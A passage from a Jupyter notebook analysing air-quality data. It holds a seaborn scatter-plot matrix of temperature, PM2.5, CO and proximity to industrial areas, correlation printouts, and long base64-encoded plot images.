0PTpk2f2S47Oxuenp4mZ25dXV3h4eGBO3fuFBmSnlS9enXj146OjgAAvV5vDGb+/v7G5U+eKX2akSNHQiqVYu/evfjoo49Qs2ZNTJo0CV26dCly/cfH6EmJiYkYO3YsMjMz8dJLL8HLy8us/frzzz8jJSUFc+fOxbx58wAAKpXKOL3Bycmp0HPfvn0bOp0O7dq1M+lLKpXi1q1bqFevHnbs2IHY2FhUqVIFQUFByMvLM9Yzc+ZMbNy4EVu2bMH06dNRr149zJw5E02aNClUX1paGurWrVvo8aSkJHh4eCA2NhajRo0yWWbp8ebr64u0tLRn7isiKh0GWSIqMyKRyPh1QEAAUlNTodPpjGHg5s2bAP4X6uLi4pCQkICwsDBMnToVu3btMgm+xfVdUt7e3mjbti0OHz6M27dvIyIiwqx+AwICcO/ePeTl5RnDrEKhwL1790wCakn4+voCAG7dumX8sNDj83gL9sfjH9p6/INof/31Fzp27IihQ4dCoVBg9+7dmDhxIuLj44t8vuK2Nz09Hf/9738RHR1tnJ/8/fff4+jRo8/chl27dmHAgAEYO3as8TGNRoOIiAgcPHgQAwYMKPTcvr6+cHZ2xrlz54zbqFarcevWLbzwwgvYunUrTp8+jdjYWHh7ewN4NJWjwB9//IEBAwbg3XffhVwux9q1azF+/Pgit1ssFhd5dY2VK1ciJSUFEyZMQLt27UyuFGHp8abVaos9donIeji1gIhsouBM27Jly6BSqZCZmYmFCxeiRYsWCAgIwJ07dzBnzhzMmjULixYtQkZGBqKjo61ag5OTE/Lz803msUZGRuLYsWM4c+YM+vbtW2xbqVRq/GBa/fr1ERgYiDlz5kChUEChUGDu3Ll4/vnn0ahRo1LV6O/vj9atW2Px4sXIyclBZmamyX6oVq0aqlatisOHD8NgMODatWs4cuSIcfmePXswdepUZGdnw9XVFa6urqhSpQqkUqnxTGjBdjyNUqmETqeDTCYDACQnJ2Pt2rUAYPxgU1Fu3ryJn3/+GW+99RZ8fX2N/2rWrInw8HBs27atyLO6wcHBeOGFF7BkyRIolUqoVCosWrQIQ4cOhU6nQ15eHiQSCRwdHaHVavHNN9/g1KlTxkC/YcMGzJ8/H3l5eXB3d4dMJjOeRS1qHxc1RcLR0REdOnRA9+7dMXXq1Kdu57NkZGTAz8+vxO2JyDwMskRkE25ubti2bRv+/vtvtGvXDj179kRAQABWrVoFnU6HyZMnIzQ0FL169YKrqysWLVqEzz77DOfPn7daDU2bNkW1atXQtGlT/PXXXwCA9u3bQ6lUIjg4+KnBo3v37rh06RLat28PiUSCjRs3QqvVomvXrujQoQM0Gg22bdsGiaT0b3QtX74cbm5u6NChAyIjI9GyZUvjMqlUivnz5+O7775Do0aNsGTJErzxxhvG5e+//z5eeOEF9OjRA40aNcL+/fuxbt06ODk5oW7dumjcuDHatGmDkydPPrWG2rVrY+rUqZgyZQoaN26M//73v4iMjISjoyP+/vvvYtvt2rULQUFBePnllwstGzBgAK5fv44ff/yx0LKCfZqVlYUuXbqgdevWuHnzJrZt2wYnJye888478PPzQ4cOHdCmTRscOnQI//nPf4y1fPTRR9Dr9ejUqROaNm2KhIQErFq1qsgaW7Vq9dTLjH344YeQy+VYs2bNU/dRcW7duoX79+8jNDS0RO2JyHwiQ0kvqkhEVEH07dsXI0eORPfu3e1dCtmAWq1Gp06dEB0dXeSVC0pr48aNSExMxMqVK63eNxGZ4hlZIqq0rl+/jpiYGGRmZqJz5872LodsRCqVYsKECWVyBy61Wo29e/da/aYgRFQ0BlkiqrRmzZqFVatWYeHChZBKpfYuh2yoX79+yM/PN+t2vJbYvHkzBgwYUK7uYkZUkXFqAREREREJEs/IEhEREZEgMcgSERERkSAxyBIRERGRIDHIEhEREZEgMcgSERERkSAxyBIRERGRIDHIEhEREZEgMcgSERERkSAxyBIRERGRIP0fgSoljemufgkAAAAASUVORK5CYII="
},
"metadata": {},
"output_type": "display_data"
},
{
"name": "stdout",
"output_type": "stream",
"text": [
"Mean Proximity: 8.43 km\n",
"Standard Deviation: 3.61 km\n",
"Median Proximity: 7.90 km\n"
]
}
],
"execution_count": 7
},
{
"metadata": {},
"cell_type": "markdown",
"source": "5. Scatter Plot Matrix: Temperature, PM2.5, CO, and Proximity to Industrial Areas",
"id": "3ee37764fa8b28d2"
},
{
"metadata": {
"ExecuteTime": {
"end_time": "2025-02-21T19:51:32.302948Z",
"start_time": "2025-02-21T19:51:15.908185Z"
}
},
"cell_type": "code",
"source": [
"selected_columns = [\"Temperature\", \"PM2.5\", \"CO\", \"Proximity_to_Industrial_Areas\", \"Air Quality\"]\n",
"\n",
"sns.pairplot(df[selected_columns], hue=\"Air Quality\", palette=color_mapping, markers=[\"o\", \"s\", \"D\", \"X\"], height=2.5)\n",
"plt.suptitle(\"Scatter Plot Matrix: Temperature, PM2.5, CO, and Proximity to Industrial Areas\", y=1.02)\n",
"plt.show()\n",
"\n",
"correlation_matrix = df[selected_columns].corr()\n",
"\n",
"print(\"Pearson Correlation Coefficients (Ignore Air Quality):\")\n",
"print(correlation_matrix)\n",
"\n",
"co_correlation = correlation_matrix[\"CO\"]\n",
"print(\"\\nCorrelation of CO with other attributes three attributes (Ignore Air Quality):\")\n",
"print(co_correlation)\n"
],
"id": "d7f2fabca66ab9ae",
"outputs": [
{
"data": {
"text/plain": [
"<Figure size 1075.49x1000 with 20 Axes>"
],
"image/png": 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q1aoxePBgBg8eTNGiRTly5Ahz586lbt26BAQEZOi5K1myJLlz52bSpElERkby1FNP8c8///Drr78yaNCgu56LRCLJHkiLC4nkCadhw4asXbuWEiVKsGjRIvr3789rr73G8ePHmT17tpOpaY8ePZg6dSr79+9n0KBBLFu2jH79+iUF8Zo6dSoVK1bkvffeY8iQIWzfvp2JEydSt25d9u/fD4iJTGJQtwEDBmC322nWrBnly5dnzJgxSW4KU6ZMoW/fvqxZs4YBAwawaNGipKj2jzIKeMeOHZkzZw4XLlxgyJAhTJ06lcqVK7N+/fokn+7ixYvTpk0bVq1ala45fWpatWpFfHw8LVu2dPthPGjQILp168by5csZOHAgn3zyCe3atWPo0KGcOnUqKX1iv379uHXrFv379+eff/7J0PEnTpxIVFSUU9yHt99+G6PRyJtvvomu6xw9epSuXbsmfQTeC56enqxatYqnn36aGTNmMHDgQLZt28bIkSMZO3bsPbebkt69e5OQkMDQoUNZuXIlL730klNq2i5dujBr1iz++usvXnrpJd555x3y58/PihUr0v2QL1iwILNmzeL69eu8/PLLSalvV6xYgaIoSfe1q3t47NixNGrUiBkzZjBs2DA8PDzcfqCnJiP3/y+//ELXrl3TZAN4kCTeo+4mH3a7PenemDBhAl27dnX6l/LeGjp0qNPfnTt35oMPPuDkyZMMGTKE2bNn06hRIz777DOnwJldu3ZlwYIF6fbTZDKxYMEC3nzzTY4dO8bo0aMZPnw4P//8M4MGDWLlypVpxJ0333yTjz/+mKioKN555x369+/PsmXLqFevHt988w116tRxqj9x4sQ0WRBSktF7JSP4+/snmfuPGTOGyZMn07179wyLovfD3ca869ev8/7771O/fv0k15BcuXLx2muv8csvvzhlCXrQ1KhRg9q1azNr1qykVKyJNGzYEB8fH5eBaFPTo0cPTCYTAwcO5LfffiNHjhx88cUXlCtXjvfff5/hw4dz9epVFixYQKdOnR74eVStWpWPP/6Y69evM3ToUNasWcPkyZOd6hgMBubMmUPOnDl57bXXmDRpEi1btkwSJEDExVi6dCk+Pj6MGzeOQYMGcfToUebOnUvNmjUB12NTRliwYAG5cuVizJgxjBgxgkOHDrFw4UKKFCmSoXt548aNFC9e3O0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